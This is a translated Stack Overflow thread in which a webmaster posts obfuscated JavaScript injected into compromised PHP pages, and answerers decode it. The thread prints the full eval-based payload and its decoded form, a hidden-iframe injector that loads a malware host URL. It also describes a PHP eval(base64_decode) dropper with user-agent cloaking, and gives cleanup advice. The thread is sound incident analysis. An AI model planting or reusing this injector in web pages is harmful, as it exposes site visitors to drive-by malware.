【问题标题】:Site was just attacked and javascript was injected at the header, what does it mean?站点刚刚被攻击,并且在头部注入了javascript,这是什么意思?
【发布时间】:2012-05-26 08:22:50
【问题描述】:

我们的一个网站最近遭到攻击,其中多个 php 文件被修改。此修改在页面顶部注入了 javascript,但在对所有这些进行 base64 解码后,我遇到了以下内容,我不知道如何继续。

有没有人在这方面有任何经验,有没有人可以弄清楚他们到底想要达到什么目标?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>

美化:

i = 0;
try {
    avasv = prototype;
} catch (z) {
    h = "harCode";
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');
    v = "e" + "va";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("div");
    q.appendChild(q + "");
} catch (qwg) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? h : "");
for (; 573 != i; i += 1) {
    j = i;
    if (e) s = s + r["fromC" + ((e) ? z : 12)](w[j] * 1 + 42);
}
if (v && e && r && z && h && s && f && v) e(s);

【问题讨论】:

  • e 是 window['eval']。将e(s) 更改为console.log(s) 以查看evaling 的代码。我做到了,它是:pastebin.com/YnrcNVc3
  • 您也可以通过 security.se 的专家来运行它。
  • @Rocket 你应该回答这个问题。看起来不错
  • 一位客户刚刚联系了我,该客户在 Windows 服务器上的多个托管站点上拥有此功能,其中至少有一个站点使用 FrontPage - 所以这不仅仅是针对 PHP 驱动站点的漏洞利用。

标签: javascript security


【解决方案1】:

我看了这段代码,有点疯狂。

它以try{avasv = prototype;} 开头,显然失败了。然后它会产生一些变量。

f 是一个数字数组(长度为 573)。 z 是 harCode。最后,有"fromC" + ((e) ? z : 12)。这将创建fromCharCode (String.fromCharCode),它与数字数组f 一起使用(在将42 添加到每个数字之后)。这似乎创建了一个字符串为evaled。

它会像这样得到evaled:

v = "e" + "va";
if (v) e = window[v + "l"];

如您所见,e 是 window['eval'],或者只是 eval。

所以,如果你替换:

if (v && e && r && z && h && s && f && v) e(s);

与:

if (v && e && r && z && h && s && f && v) console.log(s);

然后,您可以看到这段代码的目的是什么。我这样做了,输出如下:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://kyubdyyyb.lookin.at/?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://kyubdyyyb.lookin.at/?go=2');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

我不知道http://kyubdyyyb.lookin.at/?go=2是什么,所以我建议你不要去那里。

这里似乎有很多冗余检查(比如(e) ? z : 12、e 永远不会是假的)。可能只是为了让代码更混乱。

【讨论】:

  • 请删除链接。它的危险
  • @ajax333221:我警告过人们不要去那里。
  • 解码成功! +1。看起来像是使用隐藏 iFrame 的典型 XSS 或 XSRF 攻击。 :-P
  • “我不知道......是什么”我知道它被阻止了,因为尝试安装恶意代码,这真的很危险。没有人(除了可能是 OP)关心查看原始 URL,因为其余 99.999999999% 的社区都是毫无意义的,其中一些人会访问它(就像我出于好奇所做的那样)并且他已经看到了,即使他没有,您已经提供了有关如何获取它的信息
  • 伙计们,你们摇滚,我不敢相信你们这么快就想通了 :) +1 给所有人!
【解决方案2】:

我知道这不是一个直接的答案,但看起来他们已经实现了他们想要做的事情。注入将在您的网站上运行的任意脚本,以执行恶意操作。

谷歌搜索“avasv=prototype”基本上只是列出了大量受感染的网站,但少数看起来没有恶意的点击表明这是一个脚本解包程序。

他们想要达到的目标并不重要。他们做到了。他们在您的 Web 应用程序中放置了一个恶意脚本,然后从那里,他们可以从您的服务器和访问者中窃取敏感数据,并且感谢 XmlHttp,将其发布回他们自己的 Web 服务器。重要的是您将如何在更多访问者受到威胁之前对其进行清理,以及您将如何编写代码以防止将来出现 XSS 和 XSRF。

希望您拥有源代码控制,并且可以将您的网站恢复到感染前的状态。那将是第一件事。

如果您还没有听说过,我强烈建议您定期访问并在 http://www.OWASP.org 学习,这是学习如何防止未来再次发生的绝佳方式。


最后一点,即使您的网站中没有敏感数据,如果您的客户登录您的网站,您仍然会面临风险。 p>

JavaScript 可能被用于收集他们的用户名/密码组合,然后他们可以将其用于其他网站,并可能从 那些 网站窃取客户信息。 (取决于您的网站的编码方式)因此,清理和保护您的访问者绝对是第一要务,即使这意味着关闭您的网站进行“维护”

最后,谷歌在他们的文章“My site's been hacked. Now what?"”中有一些很好的建议

【讨论】:

  • 感谢您的提示。我们确实清理了受感染的代码,更改了写入权限,我正在通过各种步骤来尝试确保这种情况不会再次发生。我在这里相对较新,我不知道这些人从事的大多数项目,所以这是一个正在进行的过程。一旦获得 SSH 访问权限,我将尝试搜索类似的代码和可疑文件。再次感谢:)
【解决方案3】:

我也得到了这个小动物,它有一段时间感到困惑,因为 grepping 用于识别像 avasv=prototype 这样的字符串会产生一些结果,但删除它们并不能清除感染。为了澄清 OP,事实证明它最初是在注入一些更有趣的 PHP,通常在 index.php 文件中。你会在第 1 行看到一个 php eval(base64_decode(...))。

这段代码的作用是解码和评估包含一些 php.ini 的 base64 字符串,我不会费心重新发布,因为它很简单。该代码内部是一个基本的 UA 检查器,它查找不可感染的浏览器/操作系统组合(mac、linux、google chrome 浏览器等)和搜索蜘蛛/机器人的字符串。这也是为什么如果您尝试查看某些浏览器/操作系统组合或使用 curl/wget 时不会看到恶意 javascript 的原因。如果它没有找到列出的 UA 字符串之一,它会解码并回显在 OP 中看到的脚本,该脚本也是 base64 编码的。

所以你想要根除它是 grep for "eval(base64_decode("。我能想到的特定功能组合没有合法目的,所以你应该能够很快找到它并将其清除。当然,这并不能解决您最初的感染点。

【讨论】:

  • 我通过解码索引页面顶部的 eval 获得了 javascript。我们能够清除所有这些服务器的服务器,我花了一段时间才找到它,但它们是通过完全不受保护的用户上传脚本完成的。我堵住了洞并交叉手指,经过几次尝试(根据访问日志)他们失败了:)
  • 很好,这个的具体信息。为此 +1,我相信这对未来的访问者也有帮助!
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2023-03-26
  • 2016-08-08
  • 2012-08-01
  • 1970-01-01
  • 2023-01-20
  • 1970-01-01
  • 2012-10-22
相关资源
最近更新 更多